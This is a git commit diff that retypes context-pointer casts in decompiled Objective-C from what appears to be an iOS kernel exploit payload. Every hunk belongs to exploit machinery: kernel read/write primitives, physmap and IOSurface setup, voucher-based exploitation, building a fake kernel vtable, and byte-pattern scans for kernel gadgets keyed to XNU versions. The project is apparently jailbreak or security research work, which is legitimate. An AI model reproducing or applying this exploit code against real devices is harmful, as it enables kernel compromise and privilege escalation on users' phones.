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Type iosurface setup krw callsites

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khanhduytran0
2026-06-05 19:57:46 +07:00
parent 7f578576aa
commit 1ff2c5e1f7
1 changed files with 27 additions and 17 deletions
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src/payload_377bed/entry1_type0x09.m
+27 -17
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@@ -18492,7 +18492,7 @@ bool __fastcall krw_setup_ports_vm(__int64 a1, uint32_t *a2)
*(uint64_t *)(a1 + 240) = v16;
v17 = *(unsigned int *)(v24 + 16);
v18 = *(uint32_t *)(v24 + 20);
v19 = krw_xpac_vaddr_2((struct_krwCtx *)a1, *(uint64_t *)(address + v17));
v19 = krw_xpac_vaddr_2(KRWCTX_FROM_UINTPTR(a1), *(uint64_t *)(address + v17));
if ( validate_kaddr_range(a1, v19) )
{
v20 = connection[0];
@@ -18608,7 +18608,7 @@ __int64 __fastcall setup_voucher_exploit_ctx(struct_krwCtx *a1, unsigned int *a2
result = kwrite64((__int64)a1, v12, result);
if ( (uint32_t)result )
{
kread_and_vm_attr_double((__int64)a1, v14);
kread_and_vm_attr_double(a1, v14);
return 1;
}
}
@@ -18657,7 +18657,7 @@ __int64 __fastcall alloc_iosurface_mach_port(struct_krwCtx *a1, unsigned int a2,
goto LABEL_19;
}
v9 = v8;
v10 = kread_and_vm_attr_double((__int64)a1, v8);
v10 = kread_and_vm_attr_double(a1, v8);
if ( (uint32_t)v10 )
goto LABEL_19;
if ( a2 - 19 >= 2 )
@@ -18901,12 +18901,14 @@ LABEL_19:
//----- (000000000001CEC4) ----------------------------------------------------
__int64 __fastcall alloc_vm_page_v2(__int64 a1)
{
struct_krwCtx *ctx; // x0
__int64 result; // x0
vm_size_t v3; // x9
vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF
v4 = 0;
result = mementry_iosurface_port_alloc((struct_krwCtx *)a1, 0x10u, vm_page_size, 0, &v4);
ctx = KRWCTX_FROM_UINTPTR(a1);
result = mementry_iosurface_port_alloc(ctx, 0x10u, vm_page_size, 0, &v4);
if ( !(uint32_t)result )
{
v3 = vm_page_size;
@@ -19028,6 +19030,7 @@ LABEL_13:
//----- (000000000001D1B0) ----------------------------------------------------
bool __fastcall krw_setup_physmap(__int64 a1)
{
struct_krwCtx *ctx; // x19
vm_size_t v2; // x20
bool result; // w0
unsigned int v4; // w1
@@ -19048,6 +19051,7 @@ bool __fastcall krw_setup_physmap(__int64 a1)
unsigned int v18; // [xsp+30h] [xbp-70h] BYREF
ipc_voucher_t v19[3]; // [xsp+3Ch] [xbp-64h] BYREF
ctx = KRWCTX_FROM_UINTPTR(a1);
v2 = vm_page_size;
address = 0;
size = vm_page_size;
@@ -19069,7 +19073,7 @@ bool __fastcall krw_setup_physmap(__int64 a1)
v18 = v4;
if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8020, 241, 7, 1023, 1023) )
{
portKaddr = task_self_get_ipc_port((struct_krwCtx *)a1, v4);
portKaddr = task_self_get_ipc_port(ctx, v4);
if ( !portKaddr )
return false;
result = kread_u32(a1, portKaddr, &v17);
@@ -19122,7 +19126,7 @@ bool __fastcall krw_setup_physmap(__int64 a1)
if ( !result )
return result;
*v10 = v13;
result = setup_voucher_exploit_ctx((struct_krwCtx *)a1, v10, v19[v9]) != 0;
result = setup_voucher_exploit_ctx(ctx, v10, v19[v9]) != 0;
if ( !result )
return result;
}
@@ -19132,10 +19136,10 @@ bool __fastcall krw_setup_physmap(__int64 a1)
if ( !v11 )
return false;
v12 = v19[v9];
portKaddr = task_self_get_ipc_port((struct_krwCtx *)a1, v12);
portKaddr = task_self_get_ipc_port(ctx, v12);
if ( !portKaddr )
return false;
if ( (unsigned int)kread_and_vm_attr_double(a1, portKaddr) || mach_port_mod_refs(mach_task_self_, v12, 0, 0xFFFF) )
if ( (unsigned int)kread_and_vm_attr_double(ctx, portKaddr) || mach_port_mod_refs(mach_task_self_, v12, 0, 0xFFFF) )
return false;
*v11 = v12;
}
@@ -19152,6 +19156,7 @@ bool __fastcall krw_setup_physmap(__int64 a1)
//----- (000000000001D4A0) ----------------------------------------------------
bool __fastcall krw_setup_iosurface(__int64 a1)
{
struct_krwCtx *ctx; // x19
vm_size_t v1; // x20
mach_port_name_t *portSlot; // x0
int v4; // w8
@@ -19170,6 +19175,7 @@ bool __fastcall krw_setup_iosurface(__int64 a1)
vm_size_t size; // [xsp+18h] [xbp-48h] BYREF
uint32_t v17[2]; // [xsp+20h] [xbp-40h]
ctx = KRWCTX_FROM_UINTPTR(a1);
v1 = vm_page_size;
address = 0;
size = vm_page_size;
@@ -19225,10 +19231,10 @@ bool __fastcall krw_setup_iosurface(__int64 a1)
break;
v12 = portSlot;
v13 = v17[v9];
portKaddr = task_self_get_ipc_port((struct_krwCtx *)a1, v13);
portKaddr = task_self_get_ipc_port(ctx, v13);
if ( !portKaddr )
break;
if ( (unsigned int)kread_and_vm_attr_double(a1, portKaddr) )
if ( (unsigned int)kread_and_vm_attr_double(ctx, portKaddr) )
return false;
status = mach_port_mod_refs(mach_task_self_, v13, 0, 0xFFFF);
if ( status )
@@ -19237,7 +19243,7 @@ bool __fastcall krw_setup_iosurface(__int64 a1)
*v12 = v13;
v9 = 1;
if ( (v11 & 1) == 0 )
return iosurface_check_and_alloc_port((struct_krwCtx *)a1) == 0;
return iosurface_check_and_alloc_port(ctx) == 0;
}
}
}
@@ -19248,6 +19254,7 @@ bool __fastcall krw_setup_iosurface(__int64 a1)
//----- (000000000001D70C) ----------------------------------------------------
bool __fastcall krw_setup_iosurface_v2(__int64 a1, uint32_t *a2)
{
struct_krwCtx *ctx; // x19
vm_size_t v2; // x20
__int64 v5; // x0
__int64 v7; // x23
@@ -19273,6 +19280,7 @@ bool __fastcall krw_setup_iosurface_v2(__int64 a1, uint32_t *a2)
vm_address_t address; // [xsp+10h] [xbp-50h] BYREF
mem_entry_name_port_t object[2]; // [xsp+18h] [xbp-48h]
ctx = KRWCTX_FROM_UINTPTR(a1);
address = 0;
*(uint64_t *)object = 0;
v2 = vm_page_size;
@@ -19343,7 +19351,7 @@ bool __fastcall krw_setup_iosurface_v2(__int64 a1, uint32_t *a2)
{
fd_close(v26);
v26 = -1;
v9 = krw_write_validation((struct_krwCtx *)a1);
v9 = krw_write_validation(ctx);
}
}
}
@@ -19388,6 +19396,7 @@ bool __fastcall krw_setup_iosurface_v2(__int64 a1, uint32_t *a2)
//----- (000000000001D970) ----------------------------------------------------
mach_vm_address_t __fastcall build_kernel_vtable(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, uint64_t *a7)
{
struct_krwCtx *ctx; // x19
uint64_t *v2; // x21
uintptr_t v4; // x22
uintptr_t v6; // x23
@@ -19422,6 +19431,7 @@ mach_vm_address_t __fastcall build_kernel_vtable(__int64 a1, __int64 a2, __int64
v10 = a3;
v12 = a2;
v13 = a1;
ctx = KRWCTX_FROM_UINTPTR(v13);
connect = 0;
*(uint64_t *)&size[1] = 0;
v14 = *(uint32_t *)(a1 + 384);
@@ -19455,10 +19465,10 @@ LABEL_21:
v22 = 0;
goto LABEL_22;
}
v22 = get_task_kobject_addr((struct_krwCtx *)v13, connect);
v22 = get_task_kobject_addr(ctx, connect);
if ( v22 )
{
if ( kread_physmap_decorated((struct_krwCtx *)v13, v22, (unsigned __int64 *)&size[1]) )
if ( kread_physmap_decorated(ctx, v22, (unsigned __int64 *)&size[1]) )
{
if ( validate_kaddr_range(v13, *(__int64 *)&size[1]) )
{
@@ -19466,7 +19476,7 @@ LABEL_21:
if ( v23 )
{
address = v23;
if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v13, *(__int64 *)&size[1], 4096, &v32)
if ( !(unsigned int)krw_read_thunk(ctx, *(__int64 *)&size[1], 4096, &v32)
|| !(unsigned int)kwrite_with_retry(v13, address, (__int64)&v32, 4096) )
{
goto LABEL_28;
@@ -19892,7 +19902,7 @@ char *__fastcall find_kernel_gadget(__int64 a1)
uint64_t v10[3]; // [xsp+20h] [xbp-40h] BYREF
uint64_t v11[3]; // [xsp+38h] [xbp-28h] BYREF
if ( krw_ctx_has_flag(*(struct_krwCtx **)(a1 + 280), KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER) )
if ( krw_ctx_has_flag(KRWCTX_FROM_RAW_FIELD(a1, 280), KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER) )
{
macho_find_text_section(a1, v11);
result = (char *)kernel_pattern_scan((__int64)v11, "08 FD 64 D3 1F 21 00 F1 .. 00 00 54", 0);
@@ -19901,7 +19911,7 @@ char *__fastcall find_kernel_gadget(__int64 a1)
v3 = (unsigned __int64)(result + 12);
return find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1);
}
if ( *(uint64_t *)(a1 + 136) >= XNU_VERSION_PACKED(8792, 80, 25, 0, 0) && !krw_ctx_has_flag(*(struct_krwCtx **)(a1 + 280), KRW_CTX_FLAG_CPU_A9) )
if ( *(uint64_t *)(a1 + 136) >= XNU_VERSION_PACKED(8792, 80, 25, 0, 0) && !krw_ctx_has_flag(KRWCTX_FROM_RAW_FIELD(a1, 280), KRW_CTX_FLAG_CPU_A9) )
{
macho_find_text_section(a1, v10);
result = (char *)kernel_pattern_scan((__int64)v10, ".. FD .. D3 .. 00 00 B5", 0);